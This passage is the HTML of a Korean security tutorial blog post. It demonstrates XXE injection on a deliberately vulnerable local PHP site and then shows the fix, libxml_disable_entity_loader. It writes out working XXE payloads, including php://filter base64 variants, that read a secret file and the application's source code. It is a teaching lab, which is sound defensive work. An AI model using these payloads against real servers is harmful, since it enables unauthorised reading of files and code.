&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 파일 내용이 출력되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;982&quot; data-origin-height=&quot;669&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LN0Nq/btsLEpzrIGA/R7P4Wqp5cCDNGDMiX2L1IK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LN0Nq/btsLEpzrIGA/R7P4Wqp5cCDNGDMiX2L1IK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LN0Nq/btsLEpzrIGA/R7P4Wqp5cCDNGDMiX2L1IK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLN0Nq%2FbtsLEpzrIGA%2FR7P4Wqp5cCDNGDMiX2L1IK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;982&quot; height=&quot;669&quot; data-origin-width=&quot;982&quot; data-origin-height=&quot;669&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대상 서버가 Windows 시스템의 경우에는 Linux/Unix 시스템보다 공격에 좀 더 제약이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대상 서버가 Linux/Unix 시스템의 경우에는 공격을 더 활발하게 할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외부에 파일을 호출 할 수 있다면, Linux/Unix 시스템은 참조할 수 있는 파일이 다양하다. (대부분 파일 형태로 존재)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 프로세스도 파일로 존재, 각 계정의 홈 디렉터리 확인 가능, 히스토리 파일 확인하여 작업내역 확인 가능, 작업 내역을 통해 설정 파일 위치 등을 파악할 수 있게된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 내부 파일에 &amp;lt; (꺾쇠)가 있는 경우에는 어떻게 될까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XML에서&amp;nbsp; &amp;lt; (꺾쇠)는 메타문자로 XML 요소의 시작을 의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;secret_info.txt 파일 내 내용을 &amp;lt;This is secret_information 로 변경해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 XML 파서에 아래 코드를 입력 후 파싱해본다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&amp;lt;!DOCTYPE&amp;nbsp;a[ &lt;br /&gt;&amp;lt;!ENTITY&amp;nbsp;str&amp;nbsp;SYSTEM&amp;nbsp;&quot;file:///information/secret_info.txt&quot;&amp;gt; &lt;br /&gt;]&amp;gt; &lt;br /&gt;&amp;lt;print&amp;gt;&amp;amp;str;&amp;lt;/print&amp;gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 여러 에러가 발생하게 되며 파싱이 불가능해진다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1902&quot; data-origin-height=&quot;1034&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TBX4i/btsLEXbrqNy/kUKDObembCtjwBmW0CItw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TBX4i/btsLEXbrqNy/kUKDObembCtjwBmW0CItw0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TBX4i/btsLEXbrqNy/kUKDObembCtjwBmW0CItw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTBX4i%2FbtsLEXbrqNy%2FkUKDObembCtjwBmW0CItw0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1902&quot; height=&quot;1034&quot; data-origin-width=&quot;1902&quot; data-origin-height=&quot;1034&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; (꺾쇠)가 포함된 소스코드를 참조하게 되면 위와 같이 에러가 발생하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버 사이드 스크립트에서는 &amp;lt; (꺾쇠)를 사용하는데, 그럼 소스코드를 참조할 수 없을까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JSP : &amp;lt;%&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PHP : &amp;lt;?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ASP : &amp;lt;%&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 인코딩하면 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PHP는 BASE64로 인코딩하면 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;BASE64 인코딩 코드가 추가된 아래 코드를 입력 후 파싱한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;php://filter/read=convert.base64-encode/resource=&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&amp;lt;!DOCTYPE&amp;nbsp;a[ &lt;br /&gt;&amp;lt;!ENTITY str SYSTEM &quot;php://filter/read=convert.base64-encode/resource=file:///information/secret_info.txt&quot;&amp;gt; &lt;br /&gt;]&amp;gt; &lt;br /&gt;&amp;lt;print&amp;gt;&amp;amp;str;&amp;lt;/print&amp;gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 BASE64로 인코딩된 문자열이 출력되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;987&quot; data-origin-height=&quot;636&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d6Q2ln/btsLCFX65Jj/rjusj2Ba2jCDzBTKmR6Cy1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d6Q2ln/btsLCFX65Jj/rjusj2Ba2jCDzBTKmR6Cy1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d6Q2ln/btsLCFX65Jj/rjusj2Ba2jCDzBTKmR6Cy1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd6Q2ln%2FbtsLCFX65Jj%2Frjusj2Ba2jCDzBTKmR6Cy1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;987&quot; height=&quot;636&quot; data-origin-width=&quot;987&quot; data-origin-height=&quot;636&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;BASE64로 인코딩된 문자열은 CyberChef 를 활용하거나, 버프스위트의 디코더 기능을 활용하면 디코딩이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://gchq.github.io/CyberChef/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CyberChef 바로가기&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좌측의 From Base64 더블 클릭 후 Input에 인코딩 문자열을 입력하면 Output에 디코딩된 문자열이 출력된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1571&quot; data-origin-height=&quot;607&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cjr6Wo/btsLE4avKve/H271T0U6uLMsKAUHt3LAI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cjr6Wo/btsLE4avKve/H271T0U6uLMsKAUHt3LAI0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cjr6Wo/btsLE4avKve/H271T0U6uLMsKAUHt3LAI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcjr6Wo%2FbtsLE4avKve%2FH271T0U6uLMsKAUHt3LAI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1571&quot; height=&quot;607&quot; data-origin-width=&quot;1571&quot; data-origin-height=&quot;607&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트의 Decoder 클릭 후 Decode as를 Base64로 설정 후 문자열을 입력하면 순수 문자열을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;801&quot; data-origin-height=&quot;440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wG3md/btsLCGbzXLX/YgKPYn6iQuM0mnWkSW4cwk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wG3md/btsLCGbzXLX/YgKPYn6iQuM0mnWkSW4cwk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wG3md/btsLCGbzXLX/YgKPYn6iQuM0mnWkSW4cwk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwG3md%2FbtsLCGbzXLX%2FYgKPYn6iQuM0mnWkSW4cwk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;801&quot; height=&quot;440&quot; data-origin-width=&quot;801&quot; data-origin-height=&quot;440&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&amp;lt; 외부 개체 참조 - 소스코드 &amp;gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외부에서 참조하는 Base64로 인코딩된 소스코드를 디코딩해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XML Parser 페이지의 소스코드 위치를 파악 후 파싱해본다. (경로: C:\APM_Setup\htdocs\insecure_website\xmlparser.php)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 코드를 입력 후 파싱한다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&amp;lt;!DOCTYPE&amp;nbsp;a[ &lt;br /&gt;&amp;lt;!ENTITY&amp;nbsp;str&amp;nbsp;SYSTEM&amp;nbsp;&quot;php://filter/read=convert.base64-encode/resource=file:///APM_setup/htdocs/insecure_website/xmlparser.php&quot;&amp;gt; &lt;br /&gt;]&amp;gt; &lt;br /&gt;&amp;lt;print&amp;gt;&amp;amp;str;&amp;lt;/print&amp;gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;아래와 같이 BASE64로 인코딩된 문자열이 출력되는 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1090&quot; data-origin-height=&quot;674&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bChIcq/btsLEspo2m0/R68seVe4EBJzpURXbc5EO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bChIcq/btsLEspo2m0/R68seVe4EBJzpURXbc5EO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bChIcq/btsLEspo2m0/R68seVe4EBJzpURXbc5EO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbChIcq%2FbtsLEspo2m0%2FR68seVe4EBJzpURXbc5EO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1090&quot; height=&quot;674&quot; data-origin-width=&quot;1090&quot; data-origin-height=&quot;674&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CyberChef 에서 디코딩하니 아래와 같이 소스코드가 출력된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;927&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/W3H5X/btsLEFPAtfz/s8cLkMZ6AuusI4K5KWlojk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/W3H5X/btsLEFPAtfz/s8cLkMZ6AuusI4K5KWlojk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/W3H5X/btsLEFPAtfz/s8cLkMZ6AuusI4K5KWlojk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FW3H5X%2FbtsLEFPAtfz%2Fs8cLkMZ6AuusI4K5KWlojk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;927&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;927&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트에서도 디코딩하니 아래와 같이 소스코드가 출력된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;805&quot; data-origin-height=&quot;437&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cueHOd/btsLEcNEKTP/zyy9k7j0qeMZT6kXoegv70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cueHOd/btsLEcNEKTP/zyy9k7j0qeMZT6kXoegv70/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cueHOd/btsLEcNEKTP/zyy9k7j0qeMZT6kXoegv70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcueHOd%2FbtsLEcNEKTP%2Fzyy9k7j0qeMZT6kXoegv70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;805&quot; height=&quot;437&quot; data-origin-width=&quot;805&quot; data-origin-height=&quot;437&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XXE Injection을 사용하여 웹 서버 내 자원을 무단으로 열람할 수 있는 실습을 진행해보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4) 대응 방안&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. JSON 데이터 형식으로 기능 구현 (변경할 수 있으면 하되, 무조건은 아님)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. DTD 및 외부 엔티티 비활성화&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. XML Parser 기능 제거&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;lt; 외부 개체 참조 비활성화 &amp;gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1235&quot; data-origin-height=&quot;677&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cjozEu/btsLCqs43i4/i5mTKGcUdxkQpD2umbqUKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cjozEu/btsLCqs43i4/i5mTKGcUdxkQpD2umbqUKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cjozEu/btsLCqs43i4/i5mTKGcUdxkQpD2umbqUKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcjozEu%2FbtsLCqs43i4%2Fi5mTKGcUdxkQpD2umbqUKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1235&quot; height=&quot;677&quot; data-origin-width=&quot;1235&quot; data-origin-height=&quot;677&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JAVA에서 factory.setFeature 를 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; true 로 설정하여 외부 엔티티에 외부 자원을 포함한 경우 예외가 발생하도록 구현한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PHP에서 libxml_disable_entity_loader 를 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 외부 엔티티를 로그하는 능력을 disable 할 것인지에 대한 설정. false는 외부 엔티티를 가져올 수 있으며, XXE Injection 이 가능하므로 true 로 설정해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 어플리케이션에 따라 적용되는 방식이 다르므로 Server Side Script 에 맞는 비활성화 방식을 고려해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습4-2 취약 환경 시큐어 코딩 적용 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XML Parser 기능이 필요없다면 제거하는게 제일 좋은 방법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 XML Parser 기능을 부득이하게 사용해야 하는 경우, 외부 개체를 참조하는 기능을 비활성화하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;XXE Injection이 발생되었던 XML Parser 페이지에 대해 시큐어 코딩을 진행한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;소스코드 위치: C:\APM_Setup\htdocs\insecure_website&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;lt; xmlparser.php 의 Action 페이지 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1735981508280&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
	include_once(&quot;./common.php&quot;);
	$xml = $_POST[&quot;xml&quot;];

	if(!empty($xml)){
		$result = simplexml_load_string($xml);
	}
?&amp;gt;

/* HTML 코드 생략 */

	&amp;lt;? if(!empty($result)) { ?&amp;gt;
	&amp;lt;hr&amp;gt;
	&amp;lt;?
	print_r($result);
	?&amp;gt;
	&amp;lt;? } ?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XML을 사용자로부터 받아온 후 XML 값이 있는 경우, XML을 출력하는 소스코드이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;&amp;lt; xmlparser.php 의 Action 페이지 - 시큐어 코딩 적용 &amp;gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1735981907399&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
	include_once(&quot;./common.php&quot;);
	$xml = $_POST[&quot;xml&quot;];

	libxml_disable_entity_loader(true);

	if(!empty($xml)){
		$result = simplexml_load_string($xml);
	}
?&amp;gt;

/* HTML 코드 생략 */


	&amp;lt;? if(!empty($result)) { ?&amp;gt;
	&amp;lt;hr&amp;gt;
	&amp;lt;?
	print_r($result);
	?&amp;gt;
	&amp;lt;? } ?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;libxml_disable_entity_loader(true); 추가 후 XML Parser 페이지에서 XXE Injection 을 시도한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;아래 XML 코드를 입력 후 파싱한다.&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&amp;lt;!DOCTYPE&amp;nbsp;a[ &lt;br /&gt;&amp;lt;!ENTITY&amp;nbsp;str&amp;nbsp;SYSTEM&amp;nbsp;&quot;php://filter/read=convert.base64-encode/resource=file:///information/secret_info.txt&quot;&amp;gt; &lt;br /&gt;]&amp;gt; &lt;br /&gt;&amp;lt;print&amp;gt;&amp;amp;str;&amp;lt;/print&amp;gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 failed to load external entity 를 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외부 엔티티 참조가 불가능한 것이다.&lt;/p&gt;
